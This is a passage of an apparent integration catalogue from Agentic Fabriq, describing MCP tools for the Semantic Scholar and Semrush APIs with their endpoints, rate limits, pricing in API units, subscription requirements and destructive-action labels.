minimal (the id plus one headline field). Request nested data with periods (`authors.affiliations`, `papers.year`). A single response is capped at 10 MB and an oversized one is refused with 400 rather than truncated, so narrow `fields` or lower `limit` instead of retrying. Read-only: Semantic Scholar publishes no write API, so this changes nothing at Semantic Scholar and nothing is stored there. RATE LIMIT: unauthenticated traffic shares ONE GLOBAL 1000 requests/second bucket with every other caller on the internet, and a connected API key gets its own bucket starting at 1 request/second. So HTTP 429 arrives unprovoked -- measured 2026-09-22 on the first request of a session and between requests four seconds apart -- and it says NOTHING about this connection or its credential: do not re-paste a key, wait and retry with exponential backoff, and serialise rather than parallelise a batch of calls. GET /api/v1/semanticscholar/recommendations/v1/papers/forpaper/{paper_id}. Scopes: api. semanticscholar_get_release (read) — List dataset releases via GET /datasets/v1/release. List every available bulk-dataset release, oldest first, each identified by a date stamp such as `2026-09-16`. Start here before asking for a release's datasets or download links, and note that `latest` is accepted wherever a release id is. Read-only: Semantic Scholar publishes no write API, so this changes nothing at Semantic Scholar and nothing is stored there. RATE LIMIT: unauthenticated traffic shares ONE GLOBAL 1000 requests/second bucket with every other caller on the internet, and a connected API key gets its own bucket starting at 1 request/second. So HTTP 429 arrives unprovoked -- measured 2026-09-22 on the first request of a session and between requests four seconds apart -- and it says NOTHING about this connection or its credential: do not re-paste a key, wait and retry with exponential backoff, and serialise rather than parallelise a batch of calls. GET /api/v1/semanticscholar/datasets/v1/release. Scopes: api. semanticscholar_get_release_by_release_id (read) — List the datasets in a release via GET /datasets/v1/release/{release_id}. Describe one release: its README, its licence, and the list of datasets it contains with a short description of each. Pass `latest` for the most recent release. Read-only: Semantic Scholar publishes no write API, so this changes nothing at Semantic Scholar and nothing is stored there. RATE LIMIT: unauthenticated traffic shares ONE GLOBAL 1000 requests/second bucket with every other caller on the internet, and a connected API key gets its own bucket starting at 1 request/second. So HTTP 429 arrives unprovoked -- measured 2026-09-22 on the first request of a session and between requests four seconds apart -- and it says NOTHING about this connection or its credential: do not re-paste a key, wait and retry with exponential backoff, and serialise rather than parallelise a batch of calls. GET /api/v1/semanticscholar/datasets/v1/release/{release_id}. Scopes: api. semanticscholar_get_release_by_release_id_dataset_by_dataset_name (read) — Get download links for a dataset via GET /datasets/v1/release/{release_id}/dataset/{dataset_name}. Get the pre-signed S3 download URLs for one dataset in one release, along with its README and licence. THIS TOOL NEEDS THE CONNECTION'S API KEY, and it is one of only two that do: measured 2026-09-22 it answers 401 {"error":"A valid API key is required"} without one, where the other eighteen answer 200. A 401 here means the connection holds no key (or none reached the request); a 403 means the key it holds was not recognised. Neither is a rate limit. THIS RETURNS LINKS, NOT DATA. The answer is a list of pre-signed S3 URLs for archive files that are frequently multiple gigabytes each; Agentic Fabriq does not fetch them and this tool transfers no file. The URLs are time-limited -- fetch them promptly, and re-request this tool rather than storing them. Read-only: Semantic Scholar publishes no write API, so this changes nothing at Semantic Scholar and nothing is stored there. RATE LIMIT: unauthenticated traffic shares ONE GLOBAL 1000 requests/second bucket with every other caller on the internet, and a connected API key gets its own bucket starting at 1 request/second. So HTTP 429 arrives unprovoked -- measured 2026-09-22 on the first request of a session and between requests four seconds apart -- and it says NOTHING about this connection or its credential: do not re-paste a key, wait and retry with exponential backoff, and serialise rather than parallelise a batch of calls. GET /api/v1/semanticscholar/datasets/v1/release/{release_id}/dataset/{dataset_name}. Scopes: api. semanticscholar_get_snippet_search (read) — Search text snippets via GET /graph/v1/snippet/search. Search the TEXT of papers rather than their metadata: returns ~500-word excerpts drawn from a paper's title, abstract and body (never figure captions or the bibliography), ranked best first, each with the paper it came from. Use it to find the passage that says something, not the paper that is about something. ASK FOR WHAT YOU NEED: without `fields` the answer is minimal (the id plus one headline field). Request nested data with periods (`authors.affiliations`, `papers.year`). A single response is capped at 10 MB and an oversized one is refused with 400 rather than truncated, so narrow `fields` or lower `limit` instead of retrying. Read-only: Semantic Scholar publishes no write API, so this changes nothing at Semantic Scholar and nothing is stored there. RATE LIMIT: unauthenticated traffic shares ONE GLOBAL 1000 requests/second bucket with every other caller on the internet, and a connected API key gets its own bucket starting at 1 request/second. So HTTP 429 arrives unprovoked -- measured 2026-09-22 on the first request of a session and between requests four seconds apart -- and it says NOTHING about this connection or its credential: do not re-paste a key, wait and retry with exponential backoff, and serialise rather than parallelise a batch of calls. GET /api/v1/semanticscholar/graph/v1/snippet/search. Scopes: api. semanticscholar_post_author_batch (read) — Get many authors at once via POST /graph/v1/author/batch. Look up many authors in one call: send the author ids in the body's `ids` array and get one record per id. `fields` is a QUERY parameter on this route, not a body field -- Semantic Scholar's own note, and a `fields` key inside the body is ignored. ASK FOR WHAT YOU NEED: without `fields` the answer is minimal (the id plus one headline field). Request nested data with periods (`authors.affiliations`, `papers.year`). A single response is capped at 10 MB and an oversized one is refused with 400 rather than truncated, so narrow `fields` or lower `limit` instead of retrying. Read-only: Semantic Scholar publishes no write API, so this changes nothing at Semantic Scholar and nothing is stored there. RATE LIMIT: unauthenticated traffic shares ONE GLOBAL 1000 requests/second bucket with every other caller on the internet, and a connected API key gets its own bucket starting at 1 request/second. So HTTP 429 arrives unprovoked -- measured 2026-09-22 on the first request of a session and between requests four seconds apart -- and it says NOTHING about this connection or its credential: do not re-paste a key, wait and retry with exponential backoff, and serialise rather than parallelise a batch of calls. POST /api/v1/semanticscholar/graph/v1/author/batch. Scopes: api. semanticscholar_post_paper_batch (read) — Get many papers at once via POST /graph/v1/paper/batch. Look up many papers in one call: send up to 500 identifiers in the body's `ids` array and get one record per id, in the order sent, with `null` in the position of an id that matched nothing. Prefer this over calling the single-paper tool in a loop. ASK FOR WHAT YOU NEED: without `fields` the answer is minimal (the id plus one headline field). Request nested data with periods (`authors.affiliations`, `papers.year`). A single response is capped at 10 MB and an oversized one is refused with 400 rather than truncated, so narrow `fields` or lower `limit` instead of retrying. Read-only: Semantic Scholar publishes no write API, so this changes nothing at Semantic Scholar and nothing is stored there. RATE LIMIT: unauthenticated traffic shares ONE GLOBAL 1000 requests/second bucket with every other caller on the internet, and a connected API key gets its own bucket starting at 1 request/second. So HTTP 429 arrives unprovoked -- measured 2026-09-22 on the first request of a session and between requests four seconds apart -- and it says NOTHING about this connection or its credential: do not re-paste a key, wait and retry with exponential backoff, and serialise rather than parallelise a batch of calls. POST /api/v1/semanticscholar/graph/v1/paper/batch. Scopes: api. semanticscholar_post_papers (read) — Recommend papers from examples via POST /recommendations/v1/papers. Recommend papers from EXAMPLES rather than from a query: send `positivePaperIds` (papers like the ones wanted) and optionally `negativePaperIds` (papers to steer away from). Use the single-paper recommendation tool when there is only one example. ASK FOR WHAT YOU NEED: without `fields` the answer is minimal (the id plus one headline field). Request nested data with periods (`authors.affiliations`, `papers.year`). A single response is capped at 10 MB and an oversized one is refused with 400 rather than truncated, so narrow `fields` or lower `limit` instead of retrying. Read-only: Semantic Scholar publishes no write API, so this changes nothing at Semantic Scholar and nothing is stored there. RATE LIMIT: unauthenticated traffic shares ONE GLOBAL 1000 requests/second bucket with every other caller on the internet, and a connected API key gets its own bucket starting at 1 request/second. So HTTP 429 arrives unprovoked -- measured 2026-09-22 on the first request of a session and between requests four seconds apart -- and it says NOTHING about this connection or its credential: do not re-paste a key, wait and retry with exponential backoff, and serialise rather than parallelise a batch of calls. POST /api/v1/semanticscholar/recommendations/v1/papers. Scopes: api. ================================================================================ ## Semrush URL: https://www.agenticfabriq.com/integrations/semrush Section: Integrated Tools Semrush — 96 MCP tools Provider key: semrush. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. semrush_delete_apis_v4_local_v1_images_by_image_id (write, destructive) — Listing Management: Permanently removes an image from a location’s profile. Needs Semrush Local Pro or Business; no API units. Needs a connection holding the Semrush v4 API key. DELETE /api/v1/semrush/apis/v4/local/v1/images/{image_id}. Scopes: api. semrush_delete_apis_v4_local_v1_locations_by_location_id (write, destructive) — Listing Management: Permanently removes a location by its ID. A location can be deleted no earlier than 30 days after its creation or no earlier than 30 days after the healthcare functionality was enabled (if applicable), whichever happened later. Needs Semrush Local Pro or Business; no API units. Needs a connection holding the Semrush v4 API key. DELETE /api/v1/semrush/apis/v4/local/v1/locations/{location_id}. Scopes: api. semrush_delete_apis_v4_local_v1_locations_reviews_comments_by_comment_id (write, destructive) — Review Management: Permanently removes a comment from a review. The supports_comment_removal field on the Review object indicates whether removing comments is supported by its publisher. Needs Semrush Local Pro or Business and locations connected to Google Business Profile; no API units. Needs a connection holding the Semrush v4 API key. UNVERIFIED ROUTE: measured 2026-09-13, this documented path answers Semrush's pre-authentication 404 (no route) with and without a key, so expect 404 Not Found until Semrush mounts it. DELETE /api/v1/semrush/apis/v4/local/v1/locations/reviews/comments/{comment_id}. Scopes: api. semrush_delete_apis_v4_map_rank_tracker_v0_campaigns_by_campaignid (write, destructive) — Map Rank Tracker: Delete an existing Map Rank Tracker campaign identified by the campaignId. This action permanently removes the campaign and all collected data. No API units or special subscription documented. Needs a connection holding the Semrush v4 API key. DELETE /api/v1/semrush/apis/v4/map-rank-tracker/v0/campaigns/{campaignId}. Scopes: api. semrush_delete_apis_v4_projects_v1_projects_by_project_id (write, destructive) — Projects: This request permanently removes a project and all its associated data. This action is irreversible. All tools, settings, and history are lost. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v4 API key. DELETE /api/v1/semrush/apis/v4/projects/v1/projects/{project_id}. Scopes: api. semrush_delete_management_v1_projects_by_campaignid_competitors (write, destructive) — Position Tracking: This request lets you remove competitors from an existing tracking campaign. Price: 100 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. DELETE /api/v1/semrush/management/v1/projects/{campaignID}/competitors. Scopes: api. semrush_delete_management_v1_projects_by_campaignid_keywords (write, destructive) — Position Tracking: This request lets you remove tracked keywords from an existing tracking campaign. Price: 100 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. DELETE /api/v1/semrush/management/v1/projects/{campaignID}/keywords. Scopes: api. semrush_delete_management_v1_projects_by_campaignid_tags (write, destructive) — Position Tracking: This request lets you delete up to five tags assigned to each of your tracked keywords. Price: 100 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. DELETE /api/v1/semrush/management/v1/projects/{campaignID}/tags. Scopes: api. semrush_delete_management_v1_projects_by_campaignid_tracking_notifications (write, destructive) — Position Tracking: This request lets you disable the delivery of weekly emails with tracking campaign statistics. Price: 100 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v3 API key. DELETE /api/v1/semrush/management/v1/projects/{campaignID}/tracking/notifications. Scopes: api. semrush_get_analytics_ta_api_v3_accuracy (read) — Trends: The Data Accuracy report displays a metric that gauges the accuracy of the data presented. This lets you assess the reliability of the insights derived from the data and ensure that your strategies are built on precise and dependable information. Even if a response is empty, the cost of one request will still be deducted from your API units. Price: 1 API unit per request. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/accuracy. Scopes: api. semrush_get_analytics_ta_api_v3_age_and_sex_distribution (read) — Trends: The Age and Sex Distribution report provides data on the age and sex distribution for your chosen domain’s audiences. This data helps you better understand the market’s demographics and enhance your segmentation and targeting. Even if a response is empty, the cost of one request will still be deducted from your API units. Price: 1 API unit per request. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/age_and_sex_distribution. Scopes: api. semrush_get_analytics_ta_api_v3_audience_insights (read) — Trends: The Audience Insights report provides data to better understand how audiences among your chosen domains overlap. This data can help you with targeting, segmentation, and ad placement. Even if a response is empty, the cost of one request will still be deducted from your API units. Price: 1 API unit per request. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/audience_insights. Scopes: api. semrush_get_analytics_ta_api_v3_audience_interests (read) — Trends: The Audience Interests report provides data to better understand the interests of your market audience. This helps you tailor your content and marketing strategies to match their preferences and engage them more effectively. Even if a response is empty, the cost of one request will still be deducted from your API units. Price: 1 API unit per request. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/audience_interests. Scopes: api. semrush_get_analytics_ta_api_v3_categories (read) — Trends: The Industry Categories report provides a list of all domains within specific industry categories. With this data, you can gain insights on domains that fit within unique industry categories to better understand their distinctive features and trends. Even if a response is empty, the cost of one request will still be deducted from your API units. Price: 500 API units per request. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/categories. Scopes: api. semrush_get_analytics_ta_api_v3_destinations (read) — Trends: The Traffic Destinations report provides a list of websites visited by users after leaving your competitors’ domains. This helps you understand the online journey of your market audience. Even if a response is empty, the cost of one request will still be deducted from your API units. Price: 1 API unit per request. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/destinations. Scopes: api. semrush_get_analytics_ta_api_v3_education_distribution (read) — Trends: The Education Distribution report provides data on the distribution of the chosen domain’s audiences by education level. This data helps you understand their educational background, so you can tailor content and marketing strategies to better resonate with different education levels. Even if a response is empty, the cost of one request will still be deducted from your API units. Price: 1 API unit per request. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/education_distribution. Scopes: api. semrush_get_analytics_ta_api_v3_geo (read) — Trends: The Geo Distribution report provides a list of countries where traffic to your selected domains comes from. This data lets you gain insights into the geographic diversity and distribution of your market audience. Even if a response is empty, the cost of one request will still be deducted from your API units. Price: 1 API unit per request. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/geo. Scopes: api. semrush_get_analytics_ta_api_v3_household_distribution (read) — Trends: The Household Distribution report provides data on the distribution of the chosen domain’s audiences by household size. This data helps you better understand the market’s household demographics and enhance your segmentation and targeting. Even if a response is empty, the cost of one request will still be deducted from your API units. Price: 1 API unit per request. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/household_distribution. Scopes: api. semrush_get_analytics_ta_api_v3_income_distribution (read) — Trends: The Income Distribution report provides data on the distribution of the chosen domain’s audiences by income. This data helps you better understand the socioeconomic diversity of your market and tailor your messaging, promotions, and offers. Even if a response is empty, the cost of one request will still be deducted from your API units. Price: 1 API unit per request. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/income_distribution. Scopes: api. semrush_get_analytics_ta_api_v3_occupation_distribution (read) — Trends: The Occupation Distribution report provides data on the distribution of the chosen domain’s audiences by occupation. This data lets you gain insights into the professional makeup of your audience so you can develop more targeted marketing strategies and create content that appeals to specific professional groups. Even if a response is empty, the cost of one request will still be deducted from your API units. Price: 1 API unit per request. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/occupation_distribution. Scopes: api. semrush_get_analytics_ta_api_v3_purchase_conversion (read) — Trends: The Purchase Conversion report provides monthly conversion metrics for a domain in the CSV format, showing the percentage of sessions ending in a purchase. With this data, you can gain insights on your markets, prospects, or partners purchase conversions. Even if a response is empty, the cost of one request will still be deducted from your API units. Price: 1 API unit per request. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/purchase_conversion. Scopes: api. semrush_get_analytics_ta_api_v3_rank (read) — Trends: The Traffic Rank report provides a list of domains sorted by traffic in descending order. This lets you benchmark your site against other domains to understand your relative market position, identify key competitors, and develop strategies to improve your site’s visibility and traffic. Even if a response is empty, the cost of one request will still be deducted from your API units. Price: 1 API unit per request. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/rank. Scopes: api. semrush_get_analytics_ta_api_v3_social_media (read) — Trends: The Social Media report provides social media data of the chosen domain’s audiences. This lets you analyze their engagement and activity on various social platforms. This data can help you optimize your social media strategies and improve your online presence. Even if a response is empty, the cost of one request will still be deducted from your API units. Price: 1 API unit per request. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/social_media. Scopes: api. semrush_get_analytics_ta_api_v3_sources (read) — Trends: The Traffic Sources request lets you analyze website traffic sources from various channels. You can request data for direct, referral, search, social, email, and paid traffic, providing a comprehensive view of how visitors reach your competitors’ websites. Even if a response is empty, the cost of one request will still be deducted from your API units. Price: 1 API unit per request. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/sources. Scopes: api. semrush_get_analytics_ta_api_v3_subdomains (read) — Trends: The Subdomains report displays the traffic to the top subdomains of the selected website. This helps you identify the most popular sections of the website. Even if a response is empty, the cost of one request will still be deducted from your API units. Price: 1 API unit per request. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/subdomains. Scopes: api. semrush_get_analytics_ta_api_v3_subfolders (read) — Trends: The Subfolders report lists the top subfolders of your chosen domains. This helps you identify the most visited sections of their websites so you can understand user navigation patterns. Even if a response is empty, the cost of one request will still be deducted from your API units. Price: 1 API unit per request. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/subfolders. Scopes: api. semrush_get_analytics_ta_api_v3_summary (read) — Trends: If a response is empty, no API units will be deducted. If you request data for several domains and only get data for some of them, you’d be charged only for the data returned. Price: 1 API unit per line. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/summary. Scopes: api. semrush_get_analytics_ta_api_v3_summary_by_day (read) — Trends: The Daily Traffic report provides a day-by-day breakdown of traffic to your selected domains. This detailed view lets you monitor daily fluctuations, identify trends, and quickly respond to changes in user behavior. If a response is empty, no API units will be deducted. Price: 1 API unit per request. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/summary_by_day. Scopes: api. semrush_get_analytics_ta_api_v3_summary_by_week (read) — Trends: The Weekly Traffic report offers a week-by-week analysis of traffic to your chosen domains. By examining this data, you can understand broader trends, compare week-to-week performance, and make strategic decisions based on weekly traffic patterns. If a response is empty, no API units will be deducted. Price: 1 API unit per request. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/summary_by_week. Scopes: api. semrush_get_analytics_ta_api_v3_toppages (read) — Trends: The Top Pages report displays the most popular pages of the chosen domains. This helps you understand which content resonates the most with your market audience. Even if a response is empty, the cost of one request will still be deducted from your API units. Price: 1 API unit per request. Needs a Semrush Trends API subscription (Basic or Premium). Needs a connection holding the Semrush v3 API key. GET /api/v1/semrush/analytics/ta/api/v3/toppages. Scopes: api. semrush_get_apis_v4_backlinks_v1_anchors (read) — SEO Backlinks: Lists backlink anchors for the specified target, including backlinks and referring domains per anchor. Price: 40 API units per line. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/backlinks/v1/anchors. Scopes: api. semrush_get_apis_v4_backlinks_v1_comparison (read) — SEO Backlinks: Batch comparison for multiple targets. Compares backlink profile and link-building progress across targets. Price: 40 API units per line. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/backlinks/v1/comparison. Scopes: api. semrush_get_apis_v4_backlinks_v1_competitors (read) — SEO Backlinks: Lists competitor domains for the specified target domain. Competitors are determined by overlap in referring domains. A domain pair is included if they share at least 5 referring domains and similarity is at least 0.01. Price: 40 API units per line. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/backlinks/v1/competitors. Scopes: api. semrush_get_apis_v4_backlinks_v1_links (read) — SEO Backlinks: Lists backlinks for the specified target. Price: 45 API units per line. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/backlinks/v1/links. Scopes: api. semrush_get_apis_v4_backlinks_v1_matrix (read) — SEO Backlinks: Compares up to 6 targets by shared referring domains and backlinks. This method returns responses only in the JSON format. Price: 40 API units per line. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/backlinks/v1/matrix. Scopes: api. semrush_get_apis_v4_backlinks_v1_overview (read) — SEO Backlinks: Returns aggregated backlink metrics for the specified target. Price: 45 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/backlinks/v1/overview. Scopes: api. semrush_get_apis_v4_backlinks_v1_pages (read) — SEO Backlinks: Lists indexed pages for the specified target. Price: 40 API units per line. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/backlinks/v1/pages. Scopes: api. semrush_get_apis_v4_backlinks_v1_ref_domains (read) — SEO Backlinks: Lists referring domains for the specified target. Price: 40 API units per line. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/backlinks/v1/ref-domains. Scopes: api. semrush_get_apis_v4_backlinks_v1_ref_ips (read) — SEO Backlinks: Lists referring IP addresses for the specified target. Price: 20 API units per line. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/backlinks/v1/ref-ips. Scopes: api. semrush_get_apis_v4_backlinks_v1_score_profile (read) — SEO Backlinks: Returns the distribution of referring domains by authority score values. The response contains at most 101 rows because the authority score is in the range 0–100. If there are no referring domains for a particular authority score value, that row is omitted. Price: 1 API unit per line. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/backlinks/v1/score-profile. Scopes: api. semrush_get_apis_v4_backlinks_v1_summary (read) — SEO Backlinks: Returns monthly historical trends for Authority Score, backlinks, and referring domains for the specified target. Price: 40 API units per line. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/backlinks/v1/summary. Scopes: api. semrush_get_apis_v4_keywords_v1_metrics (read) — SEO Keywords: Returns metrics from the latest snapshot available for the specified month. Price: 20 API units per request. Standard API: SEO Business-level plan plus API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/keywords/v1/metrics. Scopes: api. semrush_get_apis_v4_local_v1_categories (read) — Listing Management: Returns a paginated list of location categories supported within a specific country. These categories are used for location management across the listings and differ from GBP categories. Needs Semrush Local Pro or Business; no API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/local/v1/categories. Scopes: api. semrush_get_apis_v4_local_v1_gbp_categories (read) — Google Business Profile: Returns a paginated list of Google Business Profile (GBP) categories supported within a specific country. These categories are used for Google Business Profile management. Needs Semrush Local Pro or Business and locations connected to Google Business Profile; no API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/local/v1/gbp/categories. Scopes: api. semrush_get_apis_v4_local_v1_gbp_categories_by_gbp_category_id_attributes (read) — Google Business Profile: Returns a list of GBP attributes for a specific category. They are needed to better describe your business. Needs Semrush Local Pro or Business and locations connected to Google Business Profile; no API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/local/v1/gbp/categories/{gbp_category_id}/attributes. Scopes: api. semrush_get_apis_v4_local_v1_google_business_profile_metrics (read) — Google Business Profile: Returns Google Business Profile (GBP) metrics for one or more locations. Returns an error if any of the locations doesn’t have a GBP connection. If some of the locations are frozen, the data will still be provided. You can check if a location is frozen by checking the frozen field in the Location object. If some of the locations are not connected to GBP, no data will be provided for them. Needs Semrush Local Pro or Business and locations connected to Google Business Profile; no API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/local/v1/google-business-profile/metrics. Scopes: api. semrush_get_apis_v4_local_v1_google_business_profile_posts (read) — Google Business Profile: Returns Google Business Profile (GBP) posts for one or more locations. Returns an error if any of the locations does not have a GBP connection. Needs Semrush Local Pro or Business and locations connected to Google Business Profile; no API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/local/v1/google-business-profile/posts. Scopes: api. semrush_get_apis_v4_local_v1_locations (read) — Listing Management: Returns a paginated list of all locations associated with the current user. Needs Semrush Local Pro or Business; no API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/local/v1/locations. Scopes: api. semrush_get_apis_v4_local_v1_locations_by_location_id (read) — Listing Management: Get a single location by its ID. If there is no location with the given ID, an error is returned. Needs Semrush Local Pro or Business; no API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/local/v1/locations/{location_id}. Scopes: api. semrush_get_apis_v4_local_v1_locations_by_location_id_images (read) — Listing Management: Returns a paginated list of images associated with a location. If the location is frozen or the user doesn’t have permission, an error is returned. You can check if a location is frozen by checking the frozen field in the Location object. Needs Semrush Local Pro or Business; no API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/local/v1/locations/{location_id}/images. Scopes: api. semrush_get_apis_v4_local_v1_locations_by_location_id_listings (read) — Listing Management: Returns the listings associated with a specific location. Use the optional listing_statuses filter to narrow results by connection state. If the location is frozen or the user doesn’t have permission, an error is returned. You can check if a location is frozen by checking the frozen field in the Location object. Needs Semrush Local Pro or Business; no API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/local/v1/locations/{location_id}/listings. Scopes: api. semrush_get_apis_v4_local_v1_locations_by_location_id_more_hour_types (read) — Google Business Profile: Returns the list of hour types available for a specific location. Use the returned type values in the more_hours field when updating a location. This endpoint is only applicable to locations connected to Google Business Profile (GBP). Needs Semrush Local Pro or Business and locations connected to Google Business Profile; no API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/local/v1/locations/{location_id}/more-hour-types. Scopes: api. semrush_get_apis_v4_local_v1_locations_by_location_id_payment_options (read) — Listing Management: Returns the list of payment option identifiers available for a specific location. Use the returned values to populate the payment_options field when updating a location. Needs Semrush Local Pro or Business; no API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/local/v1/locations/{location_id}/payment-options. Scopes: api. semrush_get_apis_v4_local_v1_locations_by_location_id_reviews (read) — Review Management: Returns a paginated list of reviews for a specific location. If the location is frozen or the user doesn’t have permission, an error is returned. You can check if a location is frozen by checking the frozen field in the Location object. Needs Semrush Local Pro or Business and locations connected to Google Business Profile; no API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/local/v1/locations/{location_id}/reviews. Scopes: api. semrush_get_apis_v4_local_v1_locations_by_location_id_reviews_overview (read) — Review Management: Returns an overview of the reviews for a specific location, including review counts, rating distribution, and reply statistics. If the location is frozen or the user doesn’t have permission, an error is returned. You can check if a location is frozen by checking the frozen field in the Location object. Needs Semrush Local Pro or Business and locations connected to Google Business Profile; no API units. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/local/v1/locations/{location_id}/reviews/overview. Scopes: api. semrush_get_apis_v4_map_rank_tracker_v0_campaigns (read) — Map Rank Tracker: Get a paginated list of Map Rank Tracker campaigns with optional filtering based on the search query. No API units or special subscription documented. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/map-rank-tracker/v0/campaigns. Scopes: api. semrush_get_apis_v4_map_rank_tracker_v0_campaigns_by_campaignid (read) — Map Rank Tracker: Get detailed information about a specific Map Rank Tracker campaign identified by the campaignId. No API units or special subscription documented. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/map-rank-tracker/v0/campaigns/{campaignId}. Scopes: api. semrush_get_apis_v4_map_rank_tracker_v0_campaigns_by_campaignid_heatmap (read) — Map Rank Tracker: Get a heatmap report for a specific Map Rank Tracker campaign and keyword on a given date. No API units or special subscription documented. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/map-rank-tracker/v0/campaigns/{campaignId}/heatmap. Scopes: api. semrush_get_apis_v4_map_rank_tracker_v0_campaigns_by_campaignid_keywords (read) — Map Rank Tracker: Get detailed keyword-related information for a specific Map Rank Tracker campaign. No API units or special subscription documented. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/map-rank-tracker/v0/campaigns/{campaignId}/keywords. Scopes: api. semrush_get_apis_v4_map_rank_tracker_v0_campaigns_by_campaignid_metrics (read) — Map Rank Tracker: Get metrics such as average positions and shares of voice for a specific Map Rank Tracker campaign and keyword. No API units or special subscription documented. Needs a connection holding the Semrush v4 API key. GET /api/v1/semrush/apis/v4/map-rank-tracker/v0/campaigns/{campaignId}/metrics. Scopes: api. semrush_get_apis_v4_map_rank_tracker_v0_campaigns_by_campaignid_top_competitors (read) — Map Rank Tracker: Get the main business information and a list of the top competitors for a specific Map Rank Tracker campaign and keyword, including their average 